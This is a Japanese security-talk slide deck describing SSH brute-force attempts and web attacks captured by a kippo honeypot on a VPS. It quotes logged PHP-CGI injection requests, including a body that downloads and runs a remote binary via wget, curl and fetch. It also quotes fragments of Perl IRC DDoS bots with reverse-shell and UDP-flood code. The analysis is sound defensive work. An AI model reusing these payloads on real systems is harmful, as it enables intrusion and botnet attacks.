Mais conteúdo relacionado Semelhante a さくらのVPSに来る悪い人を観察する その2 Semelhante a さくらのVPSに来る悪い人を観察する その2 (6) さくらのVPSに来る悪い人を観察する その21. さくらのVPSに来る悪い人
を観察する その2
Security Casual Talks すみだセキュリティ勉強会その2
2013/12/07 @ozuma5119
2013-11-18 20:12:18 login attempt [root/12345] failed
2013-11-18 20:12:21 login attempt [root/1qazxsw23edc] failed
2013-11-18 20:12:25 login attempt [root/Passw0rd] failed
2013-11-18 20:12:28 login attempt [root/password0] failed
2013-11-18 20:12:32 login attempt [root/password1] failed
176.223.62.254 - - [23/Nov/2013:12:44:01 +0900] "POST /cgibin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63
%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%6
4%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%
69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73
%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+
%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F
%6E%65+%2D%64+%61%75%74%6F%5F
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)
1
5. きょう、話さないこと
• セキュアなプログラミング手法とか
• セキュアなサーバ構築の手順とか
– そういうのは教科書的なものがいっぱいある
ので、まぁここで話さなくてもいいかな、と
……
• 教科書
– LPIC Linuxセキュリティ標準教科書(無料)
• http://www.lpi.or.jp/linuxtext/security.shtml
– IPA 「安全なウェブサイトの作り方」(無料)
• https://www.ipa.go.jp/security/vuln/websecurity.html
– 徳丸浩「体系的に学ぶ 安全なWebアプリケー
ションの作り方」
• http://www.amazon.co.jp/dp/4797361190
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)
5
9. /var/log/secure
Aug 19 21:56:35 sshd[4331]: Failed password for root from 1..
Aug 19 21:56:38 sshd[4335]: Failed password for root from 1..
Aug 19 21:56:42 sshd[4339]: Failed password for root from 1..
Aug 19 21:56:47 sshd[4343]: Failed password for root from 1..
Aug 19 21:56:51 sshd[4347]: Failed password for root from 1..
Aug 19 21:56:56 sshd[4351]: Failed password for root from 1..
Aug 19 21:57:00 sshd[4355]: Failed password for root from 1..
Aug 19 21:57:05 sshd[4359]: Failed password for root from 1..
Aug 19 21:57:09 sshd[4363]: Failed password for root from 1..
Aug 19 21:57:12 sshd[4367]: Failed password for root from 1..
Shit! (クソっ
たれが!)
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)
9
12. kippo – SSH Honeypot
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)
12
13. kippo – SSH Honeypot
• sshdっぽく振る舞ってくれるハニーポット
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)
13
14. kippo – SSH Honeypot 2
• ログ取りして観察できる様々な機能
– 入力されたID・パスワード取得
– ダミーユーザはテキストファイルで簡単追加
– 端末で打たれたコマンドは全てログ取得し、
付属アプリで「再生」可能(おもしろ)
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)
14
15. やられサーバ構成
• さくらのVPS
– 49.212.197.88
• sshd
– tcp/2222 (kippo)
– tcp/20222 (sshd)
– tcp/22からtcp/2222
へiptablesでポート
フォワード
– 10月下旬から11月
30日までのデータ
取得
さくらインターネット公式ブログより引用
http://sakuraha-blog.jp/
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)
15
16. まずはログイン分析
2013-11-21 07:02:31+0900 [SSHService ssh-userauth on
HoneyPotTransport,13,218.68.3.136] login attempt
[root/root123] failed
2013-11-21 07:02:33+0900 [SSHService ssh-userauth on
HoneyPotTransport,14,218.68.3.136] login attempt
[root/112233] failed
2013-11-21 07:02:40+0900 [SSHService ssh-userauth on
HoneyPotTransport,15,218.68.3.136] login attempt
[root/123123] failed
2013-11-21 07:02:45+0900 [SSHService ssh-userauth on
HoneyPotTransport,16,218.68.3.136] login attempt
[root/zaq1xsw2] failed
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)
16
17. ssh狙われるアカウント TOP5
1位 2位 3位 4位
5位
root ftpuser oracle nagios postgresql
65.8% 1.3%
1.1% 0.65%
0.55%
総試行:14646
• rootが絶大な人気。(まだ) oracleも多い
• 最近はnagios(サーバ監視ソフト)も目立つ
– この辺のアカウントは/sbin/nologinでログイン
不可にしておいていいはず
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)
17
22. ツッコミタイム
• 最初にwコマンドは基本
• apt-get install yum が斬新すぎてウケる
• そもそもrootじゃないのに何故apt-get
installできると思うのか
• エディタはnanoじゃなくてvi使おう
• Ray.txtはPerlスクリプトなのかPHPスクリ
プトなのかどっちだよ
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)
22
23. Ray.txt
#!/usr/bin/perl
#####################################################
#####################################################
## DDoS Perl IrcBot v1.0 / 2012 by RAYDENNN Security Team
##
Stealth MultiFunctional IrcBot writen in Perl
##
Teste on every system with PERL instlled
##
## This is a free program used on your own risk.
##
Created for educational purpose only.
## I'm not responsible for the illegal use of this program.
#####################################################
## [ Channel ] #################### [ Flood ] #############
#####################################################
## !u @join <#channel>
## !u @udp1 <ip> <port> <
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)
## !u @part <#channel>
## !u @udp2 <ip> <packet 23
24. 仕掛けようとしていたモノ
• eggdrop
– IRC bot
• Ray.txt
– DDoS Perl IRCbot
• psyBNC
– IRCサーバへのリレー(中継)ソフト
• どれもボットネット関係
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)
24
28. srvapl001:/$ w
Hi! I conduct a suvey of SSH honeypot.
Please give me a hand to collect data. :-)
1st question)
Where are you from? (China,Russia,Romania,.. etc.):
Romania
2nd question)
What your nickname? : Romania
Thanks!
• ルーマニアから来たRomaniaさん
– キー入力の反応速度から見て、ちゃんとこの
アンケート文を見て答えてくれたようです
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)
28
30. こんなん見ました・その2
• 最近よく見る /cgi-bin/php へのアタック
94.xx.xx.xx - - [20/Nov/2013:11:47:22 +0900] "POST /cgibin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63
%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%6
4%65%3D%6F%66%66+%2D%64+%73%75%68%6F
(省略)
%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6
E%76%3D%30+%2D%6E HTTP/1.1" 500 613 "-" "-"
↓ これ
POST /cgi-bin/php?%2D%64+.......
みなさん来ていますか? 来ていませんか?
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)
30
31. 復習:CGI版PHPの仕組み
• Apacheの場合
1. /usr/bin/php-cgi へのシンボリックリンクを、
/var/www/cgi-bin/php に作る
2. .phpファイルにハンドラを設定
3. ハンドラのActionとして/cgi-bin/php を設定
AddHandler php-script .php
Action php-script /cgi-bin/php
httpd.conf
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)
31
36. 全てをURLエンコード(ログ検知避け?)
84.xx.xx.xx - - [14/Nov/2013:09:16:48 +0900] "POST
//%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+
%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63
%6C%75%64%65%3D%6F%6E+%2D
/cgi-bin/php?より後をURLエンコード
85.xx.xx.xx - - [15/Nov/2013:20:21:15 +0900] "POST /cgibin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6
C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D
%64+%73%61%66%65
必要最低限だけURLエンコード (COOL!)
192.xx.xx.xx - - [23/Nov/2013:19:15:41 +0900] "GET /cgibin/php?-d+allow_url_include%3Don+d+safe_mode%3Doff+-d+suhosin%2Esimulation%3Don+d+
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)
36
39. 150.162.19.45 - - [13/Nov/2013:07:23:27 +0900]
"POST
//%63%67%69%2D%62%69%6E/%70%68%70?%2D
%(省略)%75%74+%2D%6E HTTP/1.1" 500 602 "-"
Host: -c
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
<? system("cd /tmp ; wget 207.56.197.8/lol ; curl -O
207.56.197.8/lol; fetch 207.56.197.8/lol ; chmod +x
lol ; ./lol ; rm -rf lol "); ?>
150.162.19.45
Universidade Federal de Santa Catarina(ブラ
ジル)
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)
39
40. リクエストBODY
<? system("cd /tmp ;
wget 207.56.197.8/lol ;
curl -O 207.56.197.8/lol;
fetch 207.56.197.8/lol ;
chmod +x lol ;
./lol ;
rm -rf lol ");
?>
207.56.197.8
NTT America,
Inc.(US)
lolというプログラムを実行するようだ。
(lolとはスラングで、日本語に訳せば「ワロスww」
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)
40
42. #!/usr/bin/perl
#
# ShellBOT by: devil__
#
Greetz: Puna, Kelserific
#
# Comandos:
#
@oldpack <ip> <bytes> <tempo>;
#
@udp <ip> <porta> <tempo>;
#
@fullportscan <ip> <porta inicial> <porta final>;
#
@conback <ip> <porta>
#
@download <url> <arquivo a ser salvo>;
#
!estatisticas <on/off>;
#
!sair para finalizar o bot;
#
!novonick para trocar o nick do bot por um novo aleatorio;
#
!entra <canal> <tempo>
#
!sai <canal> <tempo>;
#
!pacotes <on/off>
#
@info
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)
42
44. lolスクリプトの中身2
ポートスキャン
if ($funcarg =~ /^portscan (.*)/) {
my $hostip="$1";
my
@portas=("21","22","23","25","53","59","79","80","110"
,"113","135","139","443","445","1025","5000","6660","
6661","6662","6663","6665","6666","6667","6668","66
69","7000","8080","8018");
my (@aberta, %porta_banner);
foreach my $porta (@portas) {
my $scansock = IO::Socket::INET->new
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)
44
45. lolスクリプトの中身3 バックドア
elsif ($funcarg =~ /^conbacks+(.*)s+(d+)/) {
...
(省略)
...
my $shell = "/bin/sh -i";
if ($^O eq "MSWin32") {
$shell = "cmd.exe";
}
• Windows/UNIX両対応です
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)
45
46. lolスクリプトの中身4 DoS攻撃
elsif ($funcarg =~ /^udps+(.*)s+(d+)s+(d+)/) {
...
(省略)
...
while (($pacota == "1")) {
$pacota = 0 if ((time >= $fim) && ($tempo != "0"));
$pacote=$rand x $rand x $rand;
$porta = int(rand 65000) +1 if ($porta == "0");
send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) an
$pacotese++;
• Windows/UNIX両対応
}
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)
46